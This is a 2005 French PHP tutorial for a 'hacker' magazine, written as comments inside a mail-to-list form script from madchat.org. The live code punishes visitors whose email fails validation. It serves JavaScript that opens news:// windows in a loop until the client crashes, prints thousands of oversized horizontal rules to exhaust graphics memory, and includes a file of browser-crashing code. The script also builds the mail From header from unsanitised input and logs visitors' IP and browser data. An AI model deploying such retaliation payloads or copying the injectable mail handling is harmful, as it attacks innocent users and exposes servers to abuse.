<?php /* mentat.php v1.1 * 01-jan-2005 *  copyleft tobozo (at) madchat (dot) org  */

/*

D'habitude quand on tombe sur des docs qui bavardent autour de php, elles sont
accompagnées de quelquess extraits de code.

<mode=rebel>
Comme si les propos techniques avaient besoin d'etre illustrés par  du code ...
Mais c'est totalement l'inverse !

Les descriptions techniques SONT l'illustration du code, et permettent d'ailleurs
de donner un peu de vivant a des lignes de code qui auraient l'air cadavérique sans
une petite pointe de laisser-aller, d'humour (bon ou mauvais) et de cacahuetes
grillées. En plus un article colorisé ca a vachement plus de gueule ;-)
</mode>

Cet article est spécial car il est écrit a l'intérieur du code qu'il est censé
péniblement expliquer, et sous la forme de commentaires php (normal, le code a
commenter est du php).

Le code dont il est question ici a fait l'objet de diverses attaques humaines et
robotisées, sans qu'aucune de ces attaques n'ait réellement percé (dumoins le
croit-on ;-).

Ce qui en fait un bon candidat pour un article lisible par les newbies autant que
par les warriorz c'est sa simplicité et sa notoriété.
Simplicité car développé par tobozo et leonard a leurs débuts en php, et notoriété
car utilisé par le repository de madchat.org comme passerelle de communication entre
le monde de la surface et la spamliste a laquelle les membres de l'équipe sont inscrits.
Ce script a fait l'objet de plusieurs refontes, mais le squelette est toujours resté
le meme.

Il s'agit du mentat Validateur de madchat.org : http://madchat.org/%7cmail%7c.php3

--------

maaaaa Mentat Validateur Kézako ?

Résumé :
   mentat     = praticien de la discipline logique tleilaxu
   validateur = celui qui valide

Définition : Créé par Franck Herbert pour sa saga 'DUNE', le Mentat est un humain
aux capacités d'un ordinateur, entrainé selon la discipline du Bene-Tleilax a
développer ses aptitudes a réfléchir comme une machine.

L'existence des mentats satisfait l'interdiction de créer une machine 'a l'image de
l'homme'. Les machines pensantes ayant été éliminées de l'univers, la discipline des
Mentats a été développée en vue d'en compenser le manque.

Les Mentats sont donc des humains entrainés a développer leurs perceptions cognitives
et analytiques en vue de pallier a ce manque.

---------

En pratique (et pour revenir au sujet de cet article), le Mentat Validateur de madchat
est un robot qui va utiliser tous les moyens techniques qui sont en son pouvoir pour
valider un envoi de courrier depuis un frontend http vers une mailing liste, tout en
utilisant les sources de prémonitions qui sont en son pouvoir (en l'absence d'épice).

En passant le script aux rayons X on s'apercoit qu'il contient les éléments suivants :

- formulaire de saisie html (champs expediteur et msg)
- systeme de validation des données utilisateur
- systeme de vérification d'adresse expéditeur par connexion SMTP
- systeme de tracking d'infos utilisateur

Mais comme tout ne se résume pas a des simples fonctionnalités let's start the
comments . .


*/


function do_nothing() {
  
// really nothing ...
}



/*
Le Mentat commence par déclarer quelques variables, meme si c'est optionel en PHP, mieux
vaut s'en délester des les premieres lignes, car non seulement ca annonce la couleur
(pas celle du coloriseur syntaxique), mais surtout ca évite de voir ces variables
éventuellement écrasées par un petit malin qui s'amuserait a jouer avec les parametres
dans la barre d'adresse du browser [Voir:Chapitre XSS]

Donc tout envoi d'email ayant forcément un destinataire, nous déclarons ce dernier
dans les premieres lignes du code :
*/

$laSpamListe = "laSpamListe@madchat";

/*
Tant qu'a faire le Mentat en profite pour déclarer quelques variables histoire de rendre
le formulaire personnalisable pour d'autres usages :
*/

$email= "expéditeur@obligatoire.xxx";
$text = "Mettez ici vos commentaires, critiques, insultes puis cliquez sur le bouton gauche "
       
."de votre mulot que vous aurez au préalable pointé sur le bouton submitte apres quoi "
       
."tout peut arriver ....";

/*
  La valeur de cette variable va etre passée dans le formulaire afin de faire
  réagir le script lors de la soumission des valeurs via le bouton submit.
*/
$submitLabel = "mail to: repository admins";


/*
  Premier test : le formulaire a-t-il été soumis ?

  Note : l'usage de la superglobale $_POST apparait comme indispensable pour un script
  qui se veut 'portable' sur la plupart des serveurs (notamment ceux dont le parametre
  du php.ini 'register_globals' est sur 'Off'
  Voir : http://fr.php.net/register_globals pour plus d'infos sur la question
*/

if($_POST['submitform']=="mail to: repository admins") {
    
/*
      Test Positif : des données ont bien été envoyées, il va falloir les
      filtrer et les récupérer..
      En premier le Mentat regarde si un email a bien été fourni, histoire de
      ne pas relayer les emails anonymes.
    */

    
if ($_POST['fromemail'] == $email) {
      
/*
        L'utilisateur n'a pas fourni d'email, le Mentat affiche un message d'info et met fin au script
      */
      
print "<html><body><pre>";
      print
str_repeat("Le Mentat a dit: enter your eMail, cretin des dunes\n", 100);
      print
"</body></html>";
      exit;
    } elseif (
$message == $text) {
      
/*
        L'utilisateur a fourni un email mais pas de message, le Mentat affiche un message d'info et met fin au script
      */
      
print "<html><body><pre>";
      print
str_repeat("Le Mentat a dit: tu n'as rien ecrit, y en a assez des mails vides!\n", 100);
      print
"</body></html>";
      exit;
    } else {
      
/*
         Les premiers tests sont concluants, le Mentat peut donc commencer a traiter les valeurs envoyées via le
         formulaire.
         Pour cela nous utilisons une class trouvée sur phpClasses.org (merci a Manuel Lemos).
         Il s'agit de la class email_validation dont le code est consultable a l'adresse suivante : http://www.phpclasses.org/browse/file/28.html
         http://www.phpclasses.org/browse/file/2080.html

         Description de la class :
            Cette Class sert a déterminer si une adresse email est valide ou pas.

            Elle effectue plusieurs tests :

            - Simple validation sur le format de l'adresse email (expression réguliere).
            - Validation de l'hote affilié a l'adresse comme un domaine d'échange valide
            - Validation de l'adresse par connection au serveur de courrier pour déterminer si
              l'adresse donnée peut réellement recevoir du courrier.
            - Intégration Windows et autres plateformes qui n'ont pas la fonction GetMXRR active, avec
              la class 'DNS resolver' fournie par Moriyoshi Koizumi.
              http://www.phpclasses.org/browse/package/569.html

         Question: Pourquoi utiliser du code de quelqu'un d'autre quand on peut massacrer son script soi-meme ?
         - gain en temps (selon la disponibilité)
         - gain en fiabilité (selon la source du script)
         - gain en compétences (selon le nombre de relectures)
         - gain en place dans cet article (les portions de code sont remplacées par des références ;-)
         - gain en qualité de code (selon l'activité communautaire autour du script)


         Voila en gros a quoi ressemble la class (


        class email_validation_class {

          var $email_regular_expression = "^([-!#\$%&'*+./0-9=?A-Z^_`a-z{|}])+@([-!#\$%&'*+/0-9=?A-Z^_`a-z{|}]+\\.)+[a-zA-Z]{2,6}\$";

          (...)

            Function ValidateEmailAddress($email) {
                return(eregi($this->email_regular_expression,$email)!=0);
            }

          (...)

            Function ValidateEmailHost($email,&$hosts)  {
                 (...)
            }


            Function ValidateEmailBox($email) {
                (...)
            }
        }; // end class declaration



     <parenthese>

      A noter la présence de l'expression réguliere suivante :

         ^([-!#\$%&'*+./0-9=?A-Z^_`a-z{|}])+@([-!#\$%&'*+/0-9=?A-Z^_`a-z{|}]+\\.)+[a-zA-Z]{2,6}\$

      .. qui a pour but de vérifier sur une adresse email est sémantiquement correcte.

      Un article sur les expressions régulieres est censé enrichir ce magazine et constituera un bon
      complément pour comprendre le fonctionnement de cette derniere.

        Une adresse email est composée de plusieurs éléments donc chacun doit satisfaire des contraintes :

        <UTILISATEUR> @ <DOMAINE> . <TLD>


        UTILISATEUR : DOIT etre composé de caracteres alphanumériques,
                      PEUT contenir certains caracteres spéciaux
                      NE DEVRAIT PAS contenir de caracteres appartenant un format non ISO

        DOMAINE     : les contraintes sont les memes

        TLD         : DOIT etre composé de caracteres alphabetiques
                      DOIT avoir au moins 2 lettres
                      NE DOIT PAS avoir plus de 6 lettres

        Examinons en partie l'expression réguliere, ici on retrouve les caracteres autorisés :

           0-9=?A-Z^_`a-z{|}  -> tout l'alphabet, tous les chiffres, et quelques caracteres spéciaux

        Le pattern est utilisé deux fois car les contraintes sont les memes pour le nom d'utilisateur
        que pour le nom de domaine.

        En revanche le TLD (Top Level Domain : comprendre '.com', '.org', '.info', etc, etc) a plus de
        limites :

           [a-zA-Z]{2,6}

        Le pattern désigne toute suite alphabétique composée d'au moins 2 caracteres et au plus 6 caracteres.

        Bien sur cette expression est loin d'etre complete, mais le ratio d'adresses email échappant a ces
        regles est si mince que ca ne vaut pas le coup de risquer un surmenage au niveau ressources rien
        que pour faire plaisir a des propriétaires d'adresses farfelues qui d'ailleurs doivent déja etre
        au courant qu'elle ne fonctionne pas partout.

        Ce choix (arbitraire) n'est guere compatible avec les nouveaux standards internet imposés par l'ICANN
        mais permet de garder un certain confort quant a l'utilisation de convertisseurs de formats tels que
        l'UTF8 ou l'ISO (ex: le cyrillique, l'hébreu, etc).

     </parenthese>



      Le Mentat commencera donc par l'ouverture d'une instance de l'objet email_Validation, en lui fournissant
      les valeurs nécessaires a son utilisation :

      */

      
$validator=new email_validation_class;
      
/*
        Le Mentat met 10 secondes d'attente pour le serveur distant, apres il laisse tomber sinon c'est
        le script actuel qui risque de foirer en cours de route, et si c'est le cas, bye bye le debug ...
      */
      
$validator->timeout=10;

      
/*
        Pour effectuer la vérification il faut simuler l'envoi d'un email, pour cela il faut donc
        fournir un nom d'utilisateur le temps de cette opération.
      */
      
$validator->localuser="validator";
      
$validator->localhost="madchat.org";
      
/*
        Pas besoin d'activer le debug sauf en mode développement ...
      */
      
$validator->debug=0;
      
$validator->html_debug=0;

      
/*
        Si le Mentat veut faire dans la discrimination il peut exclure les adresses dont le serveur répond mal
        aux demandes de MX (notamment les serveurs SMTP fonctionnant sur Windows).
      */
      
$validator->exclude_address="caramail.com";

      
/*
        Ce simple appel va déterminer la validité de l'adresse email et du serveur host, si une des deux
        vérifications échoue, alors la situation est louche et il faut sévir ;-)
      */
      
if(($result=$validator->ValidateEmailBox($fromemail))) {
        
/*
          Visiblement la validation s'est bien passée, le Mentat va pouvoir commencer a construire le message
          d'informations qui sera ajouté au contenu du mail.
        */
        
$message.="\n\nNote du mentat validateur :\n";
        
$message.="L'adresse [".htmlentities($fromemail)."] est une adresse ".($result ? "" : "in")."valide\n";
      } else {
        
/*
          Quelque chose a foiré, soit l'adresse email n'est pas sémantiquement correcte, soit le serveur
          de l'expéditeur refuse les connexion courrier, soit il n'existe pas, mais dans tous les cas
          le Mentat peut assimiler ca a un pourriel, une tentative de spoofing ou encore une tentative
          d'injection, et sévir en envoyant un message bidon qui si possible fera planter le client (histoire
          de le dissuader d'une éventuelle surconsommation de connectivités).

          Les choix sont multiples, le Mentat peut utiliser le javascript pour apprendre a l'éventuel tricheur
          comment se servir de son client NNTP et pourquoi c'est un meilleur vecteur de communication
          pour les sujets qu'il a l'air d'aimer aborder :
        */
        
?>
        <html>
        <head><title><? echo htmlentities($fromemail) ?> est une adresse invalide : WTF!</title></head>
        <SCRIPT LANGUAGE = "JavaScript">
        <!--//
        // [ Extracted from Hackoff21 (see http://www.google.com/search?q=hackoff21 ) ]
        // Ce javascript va rediriger le newgroup reader vers le lecteur C de la victime et
        // ajouter des groupes dans le client news jusqu'a ce que celui ci sature et plante.
        // Si le processus n'est pas interrompu par l'utilisateur, allez savoir ce qui peut
        // arriver...
        var count=0
        function play() {
          comp=count+1
          remote = window.open("", "remotewin", "width=0, height=0, toolbar=no, location=no, directories=no, menubar=no, resizable=no, scrollbars=no, status=no");
          remote.location.href = "news://" + count + comp +"hacked:\\c:fbi.gov.office" + count;
          if (remote.opener == null) remote.opener = window;
          remote.opener.name = "opener";
          type()
        }

        function type() {
          if(count<=comp) {
            count++
            setTimeout("type()",1000)
          } else {
            play()
          }
        }
        //-->
        </SCRIPT>
        <body onload="play()">
        <?


        
/*
          Le Mentat peut également pourrir la memoire graphique du client en le noyant dans un amas
          informe de lignes horizontales impossible a afficher autrement que sur un écran virtuel
          dépassant évidemment une taille et un nombre qui soient raisonnables.
        */
        
echo str_repeat("\n<br><hr width=500000>\n", 10000);

        
/*
          Une alternative plus vandaliste consiste a collectionner un best-of des portions de code
          HTML/JS tristement connues pour faire planter toutes sortes de navigateurs, les bases
          bugzilla et les listes des bugtraq en sont remplis.
        */
        
@include('crash.html');

        
/*
          Et donc d'interrompre le script car a ce niveau la aucune contrainte technique n'est
          satisfaite pour permettre le renvoi des infos.
        */
        
exit;
      }


      
/*
        Les tests d'intégrité ayant été effectués avec succes, le Mentat peut passer a la suite
        des choses, a savoir :
         a) affichage d'informations signalant la bonne validation des données du formulaire
         b) récupération des informations concernant l'utilisateur
         c) construction du corps du message
         d) envoi du message (et gestion de l'échec a l'envoi)
         e) affichage d'informations signalant le bon envoi de l'email
      */




      /*
         a) affichage d'informations signalant la bonne validation des données du formulaire
      */
      
echo " <html><head><title>pop! infos recues 5 sur 5</title></head><body>";

      
/*
         b) récupération des informations concernant l'utilisateur
         c) construction du corps du message

         Note : l'usage de l'opérateur de concaténation '.' permet de diminuer l'usage des ressources
         de maniere tres substancielle, et n'a aucun autre intéret dans ce script que celui d'aborder
         la notion d'économie de ressources.
         Le Mentat peut profiter de la construction du message pour y insérer une citation
      */

      
$message.="Expéditeur : $_SERVER[REMOTE_ADDR] ($_SERVER[REMOTE_HOST]), port distant $_SERVER[REMOTE_PORT]\n" // infos sur l'ip
               
."Connecté via $_SERVER[HTTP_VIA]\nforwardé pour $_SERVER[HTTP_X_FORWARDED_FOR] (" // infos proxy (si existant)
               
.@gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR']).")\n" // infos sur le host qui forwarde (si proxy détecté)
               
."brouteur $HTTP_USER_AGENT ($HTTP_ACCEPT_LANGUAGE) \n" // infos navigateur
               
.@file_get_contents("/citation.php") // citation au hasard au format txt (a faire soi meme)
               
.htmlentities(stripslashes($message));

      
/*
        Le Mentat construit le sujet en y insérant le user_agent, car c'est l'élément le plus significatif pour
        dresser un profil rapide d'un utilisateur (linux/mac/win et msie/moz/opera, etc) en un simple
        coup d'oeil.
        La fonction trim() sert a éventuellement supprimer un \n ou \r qui serait utilisable dans le cadre
        d'une injection des headers de l'email (voir l'article du frog : http://www.phpsecure.info/v2/article/MailHeadersInject.php)
      */

      
$subject.=" ".trim($_SERVER['HTTP_USER_AGENT']);


      
/*
        Enfin le Mentat peut tenter d'envoyer le message a la mailing liste qui se fera un plaisir de le relayer a
        tous ses membres pour une lecture optimale. Toutes les données ont été traitées et/ou validées, et peuvent
        donc etre passées sans trop de soucis a la fonction mail(), le Mentat en profite pour rendre la tache plus
        facile a des réponses éventuelles en forgeant le champ 'From' avec l'adresse de l'expéditeur déclaré dans le
        formulaire, ca ne garantit pas que ce soit la meme personne que celle qui soumet le formulaire, mais ca
        permet de gagner quelques précieuses secondes pour les amateurs de l'hypertasking clusteurizé de la cervelle.

         d) envoi du message (et gestion de l'échec a l'envoi)
      */
      
if(@mail($laSpamListe, $subject, $message, "From: $fromemail")) {
        
/*
          e) affichage d'informations signalant le bon envoi de l'email

          Le mail a été envoyé avec succes (d'apres php), le Mentat peut donc croire que tout s'est bien passé
          et afficher un message de félicitations, car c'était une véritable aventure pour en arriver la ;-)
        */
        
echo '<pre>'.htmlentities($message);
        echo
'---<p>message envoye aux admins, les insultes vont suivre ;-)';
        echo
'</pre>';

      } else {

        
/*
          Quelque chose a foiré, la fonction mail() a renvoyé 'false'.

          Cela peut avoir plusieurs causes :
            - le service de relai mail local n'est pas bien configuré
            - le service de relai mail local est planté
            - le service de relai mail local n'aime pas l'adresse du destinataire
            - php a été recompilé pour que la fonction mail() est configurée pour toujours renvoyer false()  (voir free.fr)
            - l'ajout du header "From: $fromemail" a fait flipper le relai car seule une adresse est tolérée dans le champ
              From : celle qui est dans le php.ini
            - le smtp n'est pas bien configuré dans le php.ini (machines windows)

          A ce niveau le Mentat peut essayer des methodes alternatives, comme par exemple l'émulation d'une connexion
          SMTP via fsockopen() avec le package phpMailer (voir http://phpmailer.sourceforge.net/ ) qui est configurable
          pour utiliser alternativement les méthodes Sendmail, gmail, postfix, Imail, Exchange, Mercury ou Courier via
          une connexion de type telnet ou en local si la connexion vers l'extérieur n'est pas possible.

          Cet exemple ne sera pas documenté dans cet article car phpMailer mérite un article a lui tout seul ...

          Le Mentat affiche donc le message d'erreur, en s'excusant ou en insultant l'utilisateur pour avoir tenté d'envoyer
          un mail dans un moment aussi inapproprié, puis en le priant de revenir plus tard au cas ou les choses iraient
          mieux ...
        */

        
?><table border=0 width=100% height=100%>
            <tr valign=center align=center>
              <td valign=center align=center><center>
                 <table border=0><tr><td>
                  <h1>Shit! Echec a l'envoi du message ;-(</h1>
                  Same player shoot again ? <br /><br />
              </td></tr></table>
          </td></tr></table>
        <?
     
}
  }

  
/*
    Sortie de la condition, a ce niveau tout est traité, le Mentat peut donc mettre fin au script
  */
  
exit;


} else {  
/* ( le test était : if($_POST['submitform']=="mail to: repository admins") ) */
  /*
    Aucune donnée de formulaire envoyée, c'est donc un affichage normal de la page dans laquelle on
    fait apparaitre le formulaire de saisie pour envoi de l'email.
  */

  
echo "<html><head><title>Formulaire pour envoyer du blabla aux mecs du site en utilisant le facteur électronik</title></head><body>";
  echo
"
    <pre>
        <FORM ACTION=\"$_SERVER[PHP_SELF]\" METHOD=\"POST\">
        <INPUT NAME=\"fromemail\" SIZE=49 type=text value=$email>
        <INPUT TYPE=\"hidden\" NAME=\"subject\" VALUE=\"|mail|.php3 avec \">
        <TEXTAREA NAME=\"message\" ROWS=\"10\" COLS=\"70\">$text</TEXTAREA>
        <INPUT NAME=\"submitform\" TYPE=\"submit\" VALUE=\"$submitLabel\">
        </FORM>
      </pre>
       "
;
}

/*
  Et hop le script est fini, tous les cas (enfin presque) traitables ont été traités...

  Ce qu'il faut retenir de cette aventure :

  - un codeur n'est pas un Mentat
  - prendre trop d'épice n'est pas mauvais pour la santé, mais peut provoquer des prémonitions accablantes pour le psyché
  - il faut toujours penser a la sécurité quand on code une appli, surtout si on ne consomme pas d'épice
  - il ne faut jamais faire confiance a une variable utilisateur, surtout si ce dernier déclare prendre de l'épice
  - il faut utiliser toutes les séquences d'échappement correspondant a la source et destination du flux des données,
    de cette maniere l'épice pourra circuler librement (spice must flow)




(c+) tobozo janvier 2005 . article ecrit *gratuitement* a la demande de clad pour numero special PHP de hackademy journal

*/

?>